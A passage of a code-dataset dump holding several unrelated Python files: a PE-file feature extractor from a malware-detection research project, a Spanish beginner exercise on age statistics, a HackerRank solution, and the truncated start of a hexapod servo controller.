for c in s.characteristics_lists]\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # if the leaf parsing is None just return empty section info feature\n        if lief_binary is None:\n            return {\"entry\": \"\", \"sections\": []}\n\n        # properties of entry point, or if invalid, the first executable section\n        try:\n            # get entry section name\n            entry_section = lief_binary.section_from_offset(lief_binary.entrypoint).name\n        except lief.not_found:\n            # bad entry point, let's find the first executable section\n            entry_section = \"\"\n            for s in lief_binary.sections:  # for all the binary sections\n                # if the current section is executable (MEM_EXECUTE is in the section characteristics)\n                if lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE in s.characteristics_lists:\n                    # set entry section name\n                    entry_section = s.name\n                    break\n\n        # set entry name in raw object dictionary\n        raw_obj = {\"entry\": entry_section, \"sections\": [{\n            'name': s.name,  # section name\n            'size': s.size,  # section size\n            'entropy': s.entropy,  # section entropy\n            'vsize': s.virtual_size,  # section virtual size\n            'props': self._properties(s)  # section properties\n        } for s in lief_binary.sections]}\n\n        # for every section add its properties to \"sections\" vector in raw object dictionary\n\n        # return raw object dictionary\n        return raw_obj\n\n    def process_raw_features(self,\n                             raw_obj):  # section info raw features\n\n        # get sections (vector) from raw object dictionary\n        sections = raw_obj['sections']\n\n        # set general info\n        general = [\n            len(sections),  # total number of sections\n            # number of sections with nonzero size\n            sum(1 for s in sections if s['size'] == 0),\n            # number of sections with an empty name\n            sum(1 for s in sections if s['name'] == \"\"),\n            # number of RX sections\n            sum(1 for s in sections if 'MEM_READ' in s['props'] and 'MEM_EXECUTE' in s['props']),\n            # number of W sections\n            sum(1 for s in sections if 'MEM_WRITE' in s['props'])\n        ]\n\n        # gross characteristics of each section\n\n        # get sections' names and sizes\n        section_sizes = [(s['name'], s['size']) for s in sections]\n        # use Feature Hasher to do the hashing trick on section_sizes\n        section_sizes_hashed = FeatureHasher(50, input_type=\"pair\").transform([section_sizes]).toarray()[0]\n        # get sections' entropies\n        section_entropy = [(s['name'], s['entropy']) for s in sections]\n        # do the hashing trick on section_entropy\n        section_entropy_hashed = FeatureHasher(50, input_type=\"pair\").transform([section_entropy]).toarray()[0]\n        # get sections' virtual sizes\n        section_vsize = [(s['name'], s['vsize']) for s in sections]\n        # do the hashing trick on section_vsize\n        section_vsize_hashed = FeatureHasher(50, input_type=\"pair\").transform([section_vsize]).toarray()[0]\n        # do the hashing trick on sections' entry names\n        entry_name_hashed = FeatureHasher(50, input_type=\"string\").transform([raw_obj['entry']]).toarray()[0]\n        # get entry sections' characteristics (properties)\n        characteristics = [p for s in sections for p in s['props'] if s['name'] == raw_obj['entry']]\n        # do the hashing trick on entry sections' characteristics\n        characteristics_hashed = FeatureHasher(50, input_type=\"string\").transform([characteristics]).toarray()[0]\n\n        # concatenate characteristics ndarrays in sequence horizontally,\n        # then copy of the array casting its values to float; then return it\n        return np.hstack([\n            general, section_sizes_hashed, section_entropy_hashed, section_vsize_hashed, entry_name_hashed,\n            characteristics_hashed\n        ]).astype(np.float32)\n\n\nclass ImportsInfo(FeatureType):\n    \"\"\" Information about imported libraries and functions from the import address table.\n    Note that the total number of imported functions is contained in GeneralFileInfo.\n    \"\"\"\n\n    name = 'imports'\n    dim = 1280\n\n    def __init__(self):\n        \"\"\" Initialize ImportsInfo class. \"\"\"\n\n        super(FeatureType, self).__init__()\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # initialize imports as an empty dictionary\n        imports = {}\n        if lief_binary is None:  # if lief binary object is None then return the empty imports raw feature\n            return imports\n\n        # for each imported library\n        for lib in lief_binary.imports:\n            # if the library is not yet in the imports dictionary\n            if lib.name not in imports:\n                imports[lib.name] = []  # libraries can be duplicated in listing, extend instead of overwrite\n\n            # Clipping assumes there are diminishing returns on the discriminatory power of imported functions\n            # beyond the first 10000 characters, and this will help limit the dataset size\n            for entry in lib.entries:  # for each imported entry (function) in the library\n                if entry.is_ordinal:  # if ordinal is used\n                    imports[lib.name].append(\"ordinal\" + str(entry.ordinal))  # append entry ordinal value\n                else:\n                    imports[lib.name].append(entry.name[:10000])  # append entry name truncated to the first 10000 chars\n\n        # return imports dictionary\n        return imports\n\n    def process_raw_features(self,\n                             raw_obj):  # imports info raw features\n\n        # get unique libraries\n        libraries = list(set([lib.lower() for lib in raw_obj.keys()]))\n        # do the hashing trick on libraries names\n        libraries_hashed = FeatureHasher(256, input_type=\"string\").transform([libraries]).toarray()[0]\n\n        # generate a string like \"kernel32.dll:CreateFileMappingA\" for each imported function\n        imports = [lib.lower() + ':' + e for lib, elist in raw_obj.items() for e in elist]\n        # do the hashing trick on imports\n        imports_hashed = FeatureHasher(1024, input_type=\"string\").transform([imports]).toarray()[0]\n\n        # return two separate elements: libraries (alone) and fully-qualified names of imported functions\n        # stacked together in a single, one dimensional, array with values of type float\n        return np.hstack([libraries_hashed, imports_hashed]).astype(np.float32)\n\n\nclass ExportsInfo(FeatureType):\n    \"\"\" Information about exported functions.\n    Note that the total number of exported functions is contained in GeneralFileInfo.\n    \"\"\"\n\n    name = 'exports'\n    dim = 128\n\n    def __init__(self):\n        \"\"\" Initialize ExportsInfo class. \"\"\"\n\n        super(FeatureType, self).__init__()\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # if lief binary object is None return an empty vector\n        if lief_binary is None:\n            return []\n\n        # Clipping assumes there are diminishing returns on the discriminatory power of exports beyond\n        # the first 10000 characters, and this will help limit the dataset size\n        if LIEF_EXPORT_OBJECT:\n            # export is an object with .name attribute (0.10.0 and later) -> get export functions' names (clipped)\n            clipped_exports = [export.name[:10000] for export in lief_binary.exported_functions]\n        else:\n            # export is a string (LIEF 0.9.0 and earlier)\n            clipped_exports = [export[:10000] for export in lief_binary.exported_functions]\n\n        # return exports raw feature\n        return clipped_exports\n\n    def process_raw_features(self,\n                             raw_obj):  # exports info raw features\n\n        # do the hashing trick on exported functions raw feature\n        exports_hashed = FeatureHasher(128, input_type=\"string\").transform([raw_obj]).toarray()[0]\n\n        # return exported functions feature vector\n        return exports_hashed.astype(np.float32)\n\n\nclass GeneralFileInfo(FeatureType):\n    \"\"\" General information about the file. \"\"\"\n\n    name = 'general'\n    dim = 10\n\n    def __init__(self):\n        \"\"\" Initialize GeneralFileInfo class. \"\"\"\n\n        super(FeatureType, self).__init__()\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # if lief binary object is None return a general file info dictionary with default (zero) values\n        if lief_binary is None:\n            return {\n                'size': len(bytez),  # the only property we can compute\n                'vsize': 0,\n                'has_debug': 0,\n                'exports': 0,\n                'imports': 0,\n                'has_relocations': 0,\n                'has_resources': 0,\n                'has_signature': 0,\n                'has_tls': 0,\n                'symbols': 0\n            }\n\n        # return general file info dictionary\n        return {\n            'size': len(bytez),  # get PE file binaries length\n            'vsize': lief_binary.virtual_size,  # get virtual size\n            'has_debug': int(lief_binary.has_debug),  # get whether the current binary has a Debug object\n            'exports': len(lief_binary.exported_functions),  # get number of exported functions\n            'imports': len(lief_binary.imported_functions),  # get number of imported functions\n            'has_relocations': int(lief_binary.has_relocations),  # get whether the current binary uses Relocation\n            'has_resources': int(lief_binary.has_resources),  # get whether the current binary has a Resources object\n            # get whether the binary has signatures\n            'has_signature': int(lief_binary.has_signatures) if LIEF_HAS_SIGNATURE else int(lief_binary.has_signature),\n            'has_tls': int(lief_binary.has_tls),  # get whether the current binary has a TLS object\n            'symbols': len(lief_binary.symbols),  # get number of binary's symbols\n        }\n\n    def process_raw_features(self,\n                             raw_obj):  # general file info raw features\n\n        # return one single ndarray of float values, concatenating together the raw general file info features\n        return np.asarray([\n            raw_obj['size'], raw_obj['vsize'], raw_obj['has_debug'], raw_obj['exports'], raw_obj['imports'],\n            raw_obj['has_relocations'], raw_obj['has_resources'], raw_obj['has_signature'], raw_obj['has_tls'],\n            raw_obj['symbols']\n        ], dtype=np.float32)\n\n\nclass HeaderFileInfo(FeatureType):\n    \"\"\" Machine, architecture, OS, linker and other information extracted from header. \"\"\"\n\n    name = 'header'\n    dim = 62\n\n    def __init__(self):\n        \"\"\" Initialize HeaderFileInfo class. \"\"\"\n\n        super(FeatureType, self).__init__()\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # instantiate header file info raw object dictionary\n        raw_obj = {'coff': {'timestamp': 0, 'machine': \"\", 'characteristics': []},\n                   'optional': {\n                       'subsystem': \"\",\n                       'dll_characteristics': [],\n                       'magic': \"\",\n                       'major_image_version': 0,\n                       'minor_image_version': 0,\n                       'major_linker_version': 0,\n                       'minor_linker_version': 0,\n                       'major_operating_system_version': 0,\n                       'minor_operating_system_version': 0,\n                       'major_subsystem_version': 0,\n                       'minor_subsystem_version': 0,\n                       'sizeof_code': 0,\n                       'sizeof_headers': 0,\n                       'sizeof_heap_commit': 0\n                   }}\n\n        # initialize header file info raw object dictionary with default values\n\n        # if lief binary object is None return default raw object\n        if lief_binary is None:\n            return raw_obj\n\n        # get coff header timestamp (when the file was created)\n        raw_obj['coff']['timestamp'] = lief_binary.header.time_date_stamps\n        # get the coff header machine (throwing away any string before the last \".\")\n        raw_obj['coff']['machine'] = str(lief_binary.header.machine).split('.')[-1]\n        # get coff header characteristics (throwing away any string before the last \".\")\n        raw_obj['coff']['characteristics'] = [str(c).split('.')[-1] for c in lief_binary.header.characteristics_list]\n        # get the optional header subsystem required to run this image (throwing away any string before the last \".\")\n        raw_obj['optional']['subsystem'] = str(lief_binary.optional_header.subsystem).split('.')[-1]\n        # get the optional header dll characteristics (throwing away any string before the last \".\")\n        raw_obj['optional']['dll_characteristics'] = [\n            str(c).split('.')[-1] for c in lief_binary.optional_header.dll_characteristics_lists\n        ]\n        # get the optional header magic value (throwing away any string before the last \".\")\n        raw_obj['optional']['magic'] = str(lief_binary.optional_header.magic).split('.')[-1]\n        # get the optional header major image version\n        raw_obj['optional']['major_image_version'] = lief_binary.optional_header.major_image_version\n        # get the optional header minor image version\n        raw_obj['optional']['minor_image_version'] = lief_binary.optional_header.minor_image_version\n        # get the optional header major linker version\n        raw_obj['optional']['major_linker_version'] = lief_binary.optional_header.major_linker_version\n        # get the optional header minor linker version\n        raw_obj['optional']['minor_linker_version'] = lief_binary.optional_header.minor_linker_version\n        # get the optional header major operating system version required\n        raw_obj['optional'][\n            'major_operating_system_version'] = lief_binary.optional_header.major_operating_system_version\n        # get the optional header minor operating system version required\n        raw_obj['optional'][\n            'minor_operating_system_version'] = lief_binary.optional_header.minor_operating_system_version\n        # get the optional header majosr subsystem version\n        raw_obj['optional']['major_subsystem_version'] = lief_binary.optional_header.major_subsystem_version\n        # get the optional header mino subsystem version\n        raw_obj['optional']['minor_subsystem_version'] = lief_binary.optional_header.minor_subsystem_version\n        # get the optional header size of the code (text) section (or sum of code sizes if there are multiple sections)\n        raw_obj['optional']['sizeof_code'] = lief_binary.optional_header.sizeof_code\n        # get the optional header combined size of an MS-DOS stub, PE header, and section headers\n        raw_obj['optional']['sizeof_headers'] = lief_binary.optional_header.sizeof_headers\n        # get the optional header size of the local heap space to commit\n        raw_obj['optional']['sizeof_heap_commit'] = lief_binary.optional_header.sizeof_heap_commit\n\n        # return raw object dictionary\n        return raw_obj\n\n    def process_raw_features(self,\n                             raw_obj):  # header file info raw features\n\n        # return one single 1-D ndarray of float values obtained concatenating along one dimension the raw features,\n        # some of which are transformed through the hashing trick\n        return np.hstack([\n            raw_obj['coff']['timestamp'],\n            FeatureHasher(10, input_type=\"string\").transform([[raw_obj['coff']['machine']]]).toarray()[0],\n            FeatureHasher(10, input_type=\"string\").transform([raw_obj['coff']['characteristics']]).toarray()[0],\n            FeatureHasher(10, input_type=\"string\").transform([[raw_obj['optional']['subsystem']]]).toarray()[0],\n            FeatureHasher(10, input_type=\"string\").transform([raw_obj['optional']['dll_characteristics']]).toarray()[0],\n            FeatureHasher(10, input_type=\"string\").transform([[raw_obj['optional']['magic']]]).toarray()[0],\n            raw_obj['optional']['major_image_version'],\n            raw_obj['optional']['minor_image_version'],\n            raw_obj['optional']['major_linker_version'],\n            raw_obj['optional']['minor_linker_version'],\n            raw_obj['optional']['major_operating_system_version'],\n            raw_obj['optional']['minor_operating_system_version'],\n            raw_obj['optional']['major_subsystem_version'],\n            raw_obj['optional']['minor_subsystem_version'],\n            raw_obj['optional']['sizeof_code'],\n            raw_obj['optional']['sizeof_headers'],\n            raw_obj['optional']['sizeof_heap_commit'],\n        ]).astype(np.float32)\n\n\nclass StringExtractor(FeatureType):\n    \"\"\" Extracts strings from raw byte stream. \"\"\"\n\n    name = 'strings'\n    dim = 1 + 1 + 1 + 96 + 1 + 1 + 1 + 1 + 1\n\n    def __init__(self):\n        \"\"\" Initialize StringExtractor class. \"\"\"\n\n        super(FeatureType, self).__init__()\n        # compile a bunch of regular expression patterns into regular expression objects to be later used for matching\n\n        # all consecutive runs of 0x20 - 0x7f that are 5+ characters\n        self._allstrings = re.compile(b'[\\x20-\\x7f]{5,}')\n        # occurances of the string 'C:\\'.  Not actually extracting the path\n        self._paths = re.compile(b'c:\\\\\\\\', re.IGNORECASE)\n        # occurances of http:// or https://.  Not actually extracting the URLs\n        self._urls = re.compile(b'https?://', re.IGNORECASE)\n        # occurances of the string prefix HKEY_.  No actually extracting registry names\n        self._registry = re.compile(b'HKEY_')\n        # crude evidence of an MZ header (dropper?) somewhere in the byte stream\n        self._mz = re.compile(b'MZ')\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # find all occurrencies of _allstrings in the PE file binary data\n        allstrings = self._allstrings.findall(bytez)\n        if allstrings:  # if at least one string has been matched\n            # statistics about strings:\n\n            # get the length of each string\n            string_lengths = [len(s) for s in allstrings]\n            # compute average string length\n            avlength = sum(string_lengths) / len(string_lengths)\n            # map printable characters 0x20 - 0x7f to an int array consisting of 0-95, inclusive\n            as_shifted_string = [b - ord(b'\\x20') for b in b''.join(allstrings)]\n            # compute histogram count for the 96 letters (distribution of characters in printable strings)\n            c = np.bincount(as_shifted_string, minlength=96)\n            # sum counts\n            csum = c.sum()\n            # compute character probabilities (as floats)\n            p = c.astype(np.float32) / csum\n            # get non-zero bin indexes\n            wh = np.where(c)[0]\n            # calculate entropy\n            H = np.sum(-p[wh] * np.log2(p[wh]))\n        else:  # if no strings were matched set to zero (default value) some variables\n            avlength = 0\n            c = np.zeros((96,), dtype=np.float32)  # histogram of all zeros\n            H = 0\n            csum = 0\n\n        # return raw object dictionary with the computed information\n        return {\n            'numstrings': len(allstrings),  # total number of strings found in the PE file\n            'avlength': avlength,  # average string length\n            'printabledist': c.tolist(),  # non-normalized printable characters frequency histogram\n            'printables': int(csum),  # total number of printable characters found\n            'entropy': float(H),  # entropy\n            'paths': len(self._paths.findall(bytez)),  # number of found paths\n            'urls': len(self._urls.findall(bytez)),  # number of found urls\n            'registry': len(self._registry.findall(bytez)),  # number of found registry names\n            'MZ': len(self._mz.findall(bytez))  # number of found MZ headers\n        }\n\n    def process_raw_features(self,\n                             raw_obj):  # string extractor raw features\n\n        # set histogram divisor as csum (printables) if it was > 0, to 1.0 otherwise\n        hist_divisor = float(raw_obj['printables']) if raw_obj['printables'] > 0 else 1.0\n\n        # return one single 1-D ndarray of float values obtained concatenating together the raw features\n        # (normalizing the printable characters histogram)\n        return np.hstack([\n            raw_obj['numstrings'],\n            raw_obj['avlength'],\n            raw_obj['printables'],\n            np.asarray(raw_obj['printabledist']) / hist_divisor,  # divide distribution by the previously set divisor\n            raw_obj['entropy'],\n            raw_obj['paths'],\n            raw_obj['urls'],\n            raw_obj['registry'],\n            raw_obj['MZ']\n        ]).astype(np.float32)\n\n\nclass DataDirectories(FeatureType):\n    \"\"\" Extracts size and virtual address of the first 15 data directories. \"\"\"\n\n    name = 'datadirectories'\n    dim = 15 * 2\n\n    def __init__(self):\n        \"\"\" Initialize DataDirectories class. \"\"\"\n\n        super(FeatureType, self).__init__()\n\n        # define data directory names order\n        self._name_order = [\n            \"EXPORT_TABLE\", \"IMPORT_TABLE\", \"RESOURCE_TABLE\", \"EXCEPTION_TABLE\", \"CERTIFICATE_TABLE\",\n            \"BASE_RELOCATION_TABLE\", \"DEBUG\", \"ARCHITECTURE\", \"GLOBAL_PTR\", \"TLS_TABLE\", \"LOAD_CONFIG_TABLE\",\n            \"BOUND_IMPORT\", \"IAT\", \"DELAY_IMPORT_DESCRIPTOR\", \"CLR_RUNTIME_HEADER\"\n        ]\n\n    def raw_features(self,\n                     bytez,  # PE file binary data\n                     lief_binary):  # lief parsing of PE file binaries\n\n        # instantiate output vector\n        output = []\n\n        # if lief binary object is None return empty output raw object\n        if lief_binary is None:\n            return output\n\n        # for each data directory\n        for data_directory in lief_binary.data_directories:\n            # append info to output vector\n            output.append({\n                # set data directory type name (removing the \"DATA_DIRECTORY.\" prefix)\n                \"name\": str(data_directory.type).replace(\"DATA_DIRECTORY.\", \"\"),\n                \"size\": data_directory.size,  # set data directory size\n                \"virtual_address\": data_directory.rva  # set data directory virtual address\n            })\n\n        # return output raw feature vector\n        return output\n\n    def process_raw_features(self,\n                             raw_obj):  # data dictionaries raw features\n\n        # initialize features vector with size equal to 2 times the number of data directory types\n        # with all zeros (as floats)\n        features = np.zeros(2 * len(self._name_order), dtype=np.float32)\n\n        # iterate for a number of times equal to the number of data directory types\n        for i in range(len(self._name_order)):\n            if i < len(raw_obj):\n                # set data directory size to the feature vector at an even position\n                features[2 * i] = raw_obj[i][\"size\"]\n                # set data directory virtual address to the feature vector at an odd position\n                features[2 * i + 1] = raw_obj[i][\"virtual_address\"]\n\n        # return data directory feature vector\n        return features\n\n\nclass PEFeatureExtractor(object):\n    \"\"\" Extract useful features from a PE file, and return as a vector of fixed size. \"\"\"\n\n    def __init__(self,\n                 feature_version=2,  # EMBER feature version\n                 print_feature_warning=True):  # whether to print warnings or not\n        \"\"\" Initialize PEFeatureExtractor class.\n\n        Args:\n            feature_version: EMBER feature version\n            print_feature_warning: Whether to print warnings or not\n        \"\"\"\n\n        # define features to extract from PE file binaries\n        self.features = [\n            ByteHistogram(),\n            ByteEntropyHistogram(),\n            StringExtractor(),\n            GeneralFileInfo(),\n            HeaderFileInfo(),\n            SectionInfo(),\n            ImportsInfo(),\n            ExportsInfo()\n        ]\n\n        # check EMBER feature version selected against current lief version\n        if feature_version == 1:\n            if not lief.__version__.startswith(\"0.8.3\"):\n                if print_feature_warning:\n                    print(\"WARNING: EMBER feature version 1 were computed using lief version 0.8.3-18d5b75\")\n                    print(\"WARNING: lief version {} found instead. There may be slight inconsistencies\"\n                          .format(lief.__version__))\n                    print(\"WARNING: in the feature calculations.\")\n        elif feature_version == 2:\n            self.features.append(DataDirectories())  # append another type of feature specific to version 2\n            if not lief.__version__.startswith(\"0.9.0\"):\n                if print_feature_warning:\n                    print(\"WARNING: EMBER feature version 2 were computed using lief version 0.9.0-\")\n                    print(\"WARNING: lief version {} found instead. There may be slight inconsistencies\"\n                          .format(lief.__version__))\n                    print(\"WARNING: in the feature calculations.\")\n        else:\n            raise Exception(f\"EMBER feature version must be 1 or 2. Not {feature_version}\")\n\n        # compute features total dimension\n        self.dim = sum([fe.dim for fe in self.features])\n\n    def raw_features(self,\n                     bytez):  # PE file binary data\n\n        # define all lief errors we want to intercept\n        lief_errors = (lief.bad_format, lief.bad_file, lief.pe_error, lief.parser_error, lief.read_out_of_bound,\n                       RuntimeError)\n        try:\n            lief_binary = lief.PE.parse(list(bytez))  # Parse the given PE file binaries and return a Binary object\n        except lief_errors as e:  # if any of the previously defined lief errors is raised\n            logger.warn(\"lief error: {}. Skipping file.\".format(str(e)))  # print the error\n            return None\n        except Exception:  # if any other exception (KeyboardInterrupt, SystemExit, ValueError) is raised:\n            raise  # raise exception\n\n        # calculate sha256 hash (hex) digest of the PE file binaries\n        features = {\"sha256\": hashlib.sha256(bytez).hexdigest()}\n\n        # compute all the other raw features and append them to the features dictionary\n        features.update({fe.name: fe.raw_features(bytez, lief_binary) for fe in self.features})\n\n        # return computed raw features for the current PE file binaries\n        return features\n\n    def process_raw_features(self,\n                             raw_obj):  # dictionary of raw features\n\n        # compute feature vector by processing the raw features in the raw features dictionary\n        feature_vectors = [fe.process_raw_features(raw_obj[fe.name]) for fe in self.features]\n\n        # concatenate feature vectors (horizontally) in a single numpy array,\n        # and return a copy of the array casting its values to float32\n        return np.hstack(feature_vectors).astype(np.float32)\n\n    def feature_vector(self,\n                       bytez):  # PE file data\n\n        # get raw features from PE file data,\n        # then generate feature vector from raw features\n        return self.process_raw_features(self.raw_features(bytez))\n","repo_name":"cmikke97/Automatic-Malware-Signature-Generation","sub_path":"src/FreshDatasetBuilder/emberFeatures/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":37681,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"36"}
{"seq_id":"13247645563","text":"#Hacer un programa que procese un total de 100 personas y establecer cuantas son mujeres \n# mayores de edad y cuantos hombres menores de edad. Deberá sacar el hombre y la mujer \n# con menor edad, el hombre y la mujer con mayor edad, promedio de edades de las mujeres \n# y promedio de edades de los hombres.\nfrom random import randint\n'''\n#generamos un set aleatorio de cien personas (hombres(1) y mujeres (0)) con edades aleatorias\n#entre 0 y 100 años\nlistamujeres = []\nlistahombres = []\n\n# 100 personas\nfor i in range(1,101):\n    # genero\n    genero = randint(0,1)\n    # edad\n    edad = randint(0,100)\n    # creamos una lista de mujeres y otra de hombres\n    if genero == 0: \n        listamujeres.append(edad)\n    else: \n        listahombres.append(edad)\n\n#print(listamujeres, listahombres)\n'''\n#pasamos lo anterior a listas de comprension\n# mujeres y hombres aleatorios en 100 personas\ngenero = [randint(0,1) for i in range(1,101)]\n#lista de edades entre 0 y 100 anos mujeres\nlistamujeres = [randint(0,100) for g in genero if g==0]\n#lista de edades entre 0 y 100 anos hombres\nlistahombres = [randint(0,100) for g in genero if g==1]\n\n\n\n# porcentaje por generos\nprint(f'Mujeres: {len(listamujeres)}% y hombres:{len(listahombres)}% ')\n\n\n#mujeres mayores de edad\n'''\nmujeresmayores = 0 \nfor edad in listamujeres:\n    if edad >= 18:\n        mujeresmayores += 1\n'''\nmujeresmayores = [edad for edad in listamujeres if edad >= 18]\n\nprint(f\"Hay {len(mujeresmayores)} mujeres mayores de edad\")\n\n#hombres menores de edad\n'''\nhombresmenores = 0 \nfor edad in listahombres:\n    if edad < 18:\n        hombresmenores += 1\n'''\nhombresmenores = [edad for edad in listahombres if edad < 18]\nprint(f\"Hay {len(hombresmenores)} hombres menores de edad\")\n\n#hombre y mujer de mayor y menor edad\ndef mayormenor(lista,genero):\n    mayoredad = max(lista)\n    menoredad = min(lista)\n    print(f'{genero} de mayor edad tiene {mayoredad} años y de menor edad, {menoredad} años')\n\nmayormenor(listamujeres, 'Mujer')\nmayormenor(listahombres, 'Hombre')\n\n# promedio edad mujeres y promedio edad hombres\ndef promedioedad(lista, genero):\n    '''\n    contadoredad = 0\n    for edad in lista:\n        contadoredad += edad\n    '''\n    contadoredad = sum([edad for edad in lista])\n    promedio = contadoredad / len(listamujeres)\n    print(\"Edad promedio en {g}: {p:1.2f} años\".format(g= genero,p=promedio))\n\n\npromedioedad(listamujeres,'mujeres')\npromedioedad(listahombres,'hombres')\n\n","repo_name":"amaiasanchis/EOI-IntroProgramacionPython","sub_path":"programas/prog3.py","file_name":"prog3.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"14076714385","text":"# https://www.hackerrank.com/challenges/mini-max-sum\n# Given array, find the min and max values that can be calculated by summing exactly four of the five integers\ndef mini_max_sum(arr):\n    aux = sum(arr)\n    print(aux - max(arr), aux - min(arr))\n\n\nif __name__ == '__main__':\n    ar = list(map(int, input().rstrip().split()))\n\n    mini_max_sum(ar)\n","repo_name":"lucasmassarico/HackerRank","sub_path":"Warmup/mini-max_sum.py","file_name":"mini-max_sum.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"}
{"seq_id":"27271906758","text":"from math import ceil\nfrom time import sleep\nfrom serial import Serial\nimport RPi.GPIO as gpio\t\t\t# GPIO control module \nfrom support.ax12 import Ax12\nfrom numpy import pi\n\n\nclass Servo:\n\n\t# /////////////////////////////// angle limits (folding fan + 1-2-3 joints)\n\tLIM_FF = [60,126]\n\tLIM_1J = [50,150]\n\tLIM_2J = [50,300]\n\tLIM_3J = [50,300]\n\n\t# /////////////////////////////// offset values (folding fan + 1-2-3 joints)\n\tOS_FF = 60\n\tOS_1J = 114\n\tOS_2J = 150\n\tOS_3J = 163\n\n\t# /////////////////////////////// conversion costants\n\tEXA_TO_DEG = 300/1023\n\tDEG_TO_EXA = 1023/300\n\tRAD_TO_DEG = 180/pi\n\tDEG_TO_RAD = pi/180\n\n\t# /////////////////////////////// other constants\n\tDELAY = 0.1\n\tMIN_ANGLE = 0\n\tMAX_ANGLE = 300\n\tMAX_LOOP = 20\n\tTOT_SERVO = 31\n\tTOT_LEGS = 6\n\n\t# Custom error class to report errors on checkServo\n\tclass servoError(Exception):\n\t\tpass\n\n\tdef __init__(self,used_servo=3,minID=0,maxID=20,verbose=False):\n\t\tself.min_angle = Servo.MIN_ANGLE\n\t\tself.max_angle = Servo.MAX_ANGLE\n\t\tself.tot_servo = Servo.TOT_SERVO\n\t\tself.tot_legs = Servo.TOT_LEGS\n\t\tself.ax = Ax12()\n\t\ttry:\n\t\t\tid_list,curr_legs = self.checkServo(used_servo,minID,maxID,verbose) # create ID list\n\t\t\tself.id = id_list\n\t\t\tself.num = len(id_list)\n\t\t\tself.curr_legs = curr_legs\n\t\t\tself.lim_cw = [self.min_angle] * self.tot_servo\n\t\t\tself.lim_ccw = [self.max_angle] * self.tot_servo\n\t\t\tself.offset = [self.min_angle] * self.tot_servo\n\t\t\tself.curr_angles = [self.min_angle] * self.num\n\t\t\tself.setup()\n\t\texcept Exception as detail:\n\t\t\tprint(str(detail))\n\t\t\tpass\n\n\tdef setup(self):\n\t\tself.setOffset()\n\t\tself.updateAngles() # update self.curr_angle\n\t\tprint(\"Servo ID list = \", self.id)\n\t\tprint(\"Starting angles = \", self.curr_angles)\n\t\tself.setupAngleLim() # setAngleLim on all servos\n\t\tself.printTorqueLimit()\n\t\tfor i in range(self.num):\n\t\t\tself.ax.setVoltageLimit(self.id[i],88,130)\n\t\t\tself.ax.setLedAlarm(self.id[i],\"Input Voltage\")\n\t\t\tself.ax.setTorqueLimit(self.id[i],1023) # set maximum torque for all servos\n\t\t\tv = self.ax.readVoltageLowerLimit(self.id[i])\n\t\t\tprint(f\"Input Voltage Lower Limit servo ID {self.id[i]} = ({v})\", end=\"     \")\n\t\tprint()\n\t\tself.printAngles()\n\t\n\tdef checkServo(self,used_servo,minID=0,maxID=253,verbose=False):\n\t\tid_list = self.ax.learnServos(minID,maxID,verbose)\n\t\tconfirm = len(id_list) == used_servo\n\t\tcurr_legs = 0\n\t\ttry:\n\t\t\tassert confirm == 1\n\t\texcept:\n\t\t\te = \"\\n================================================================================\\n\"\n\t\t\te += \"Error: discrepancy between given variable used_servo and number of servos found.\\n\"\n\t\t\te += \"Variable used_servo: \" + str(used_servo) + \"\\n\"\n\t\t\te += \"Actual number of servos: \" + str(len(id_list)) + \"\\n\"\n\t\t\te += \"Actual list of servos: \" + str(id_list) + \"\\n\"\n\t\t\te += \"================================================================================\\n\"\n\t\t\traise Servo.servoError(e)\n\t\tif id_list[0] == 0: # the first is the folding fan servo\n\t\t\tcurr_legs = ceil((used_servo-1)/3) # -1 to single out the folding fan servo from the computation\n\t\telse:\n\t\t\tcurr_legs = ceil(used_servo/3)\n\t\treturn id_list,curr_legs\n\t\n\tdef updateAngles(self):\n\t\tcurr_angles = self.curr_angles\n\t\tfor i in range(self.num):\n\t\t\tr = self.ax.readPosition(self.id[i])\n\t\t\tcount = 0\n\t\t\twhile r == -1 and count < Servo.MAX_LOOP:\n\t\t\t\tr = self.ax.readPosition(self.id[i]) # try again if servo didn't respond\n\t\t\t\tcount += 1\t\t\t\t\t\t\t # to avoid infinite loop\n\t\t\tif count >= Servo.MAX_LOOP:\n\t\t\t\tprint(\"Function readPosition inside updateAngles failed \" + str(Servo.MAX_LOOP) + \" times for servo \" + str(self.id[i]))\n\t\t\t\t# self.ax.ping(self.id[i]) # checks again for timeout error (ping function bypasses -1 error return)\n\t\t\t\t# r = self.ax.readPosition(self.id[i])\n\t\t\telse:\n\t\t\t\tr_deg = int(r * Servo.EXA_TO_DEG)\n\t\t\t\tif r_deg >= 0 and r_deg <= 300:\n\t\t\t\t\tcurr_angles[i] = r_deg\n\t\tself.curr_angles = curr_angles\n\t\n\tdef checkVoltage(self,i):\n\t\tr = self.ax.readVoltage(self.id[i])\n\t\tcount = 0\n\t\twhile r == -1 and count < Servo.MAX_LOOP:\n\t\t\tr = self.ax.readVoltage(self.id[i])\t# try again if servo didn't respond\n\t\t\tcount += 1\t\t\t\t\t\t\t# to avoid infinite loop\n\t\tvoltage = r/10\n\t\treturn voltage\n\t\n\tdef setAngleLim(self,i,lim_vett):\n\t\tlim_cw,lim_ccw = lim_vett\t# clockwise - counter-clockwise\n\t\tself.lim_cw[i], self.lim_ccw[i] = lim_cw, lim_ccw\n\t\tlim_cw,lim_ccw = self.rangeAngleEx(lim_cw),self.rangeAngleEx(lim_ccw)\n\t\tself.ax.setAngleLimit(self.id[i], lim_cw, lim_ccw)\n\t\tsleep(Servo.DELAY)\n\t\n\tdef setupAngleLim(self):\n\t\tif 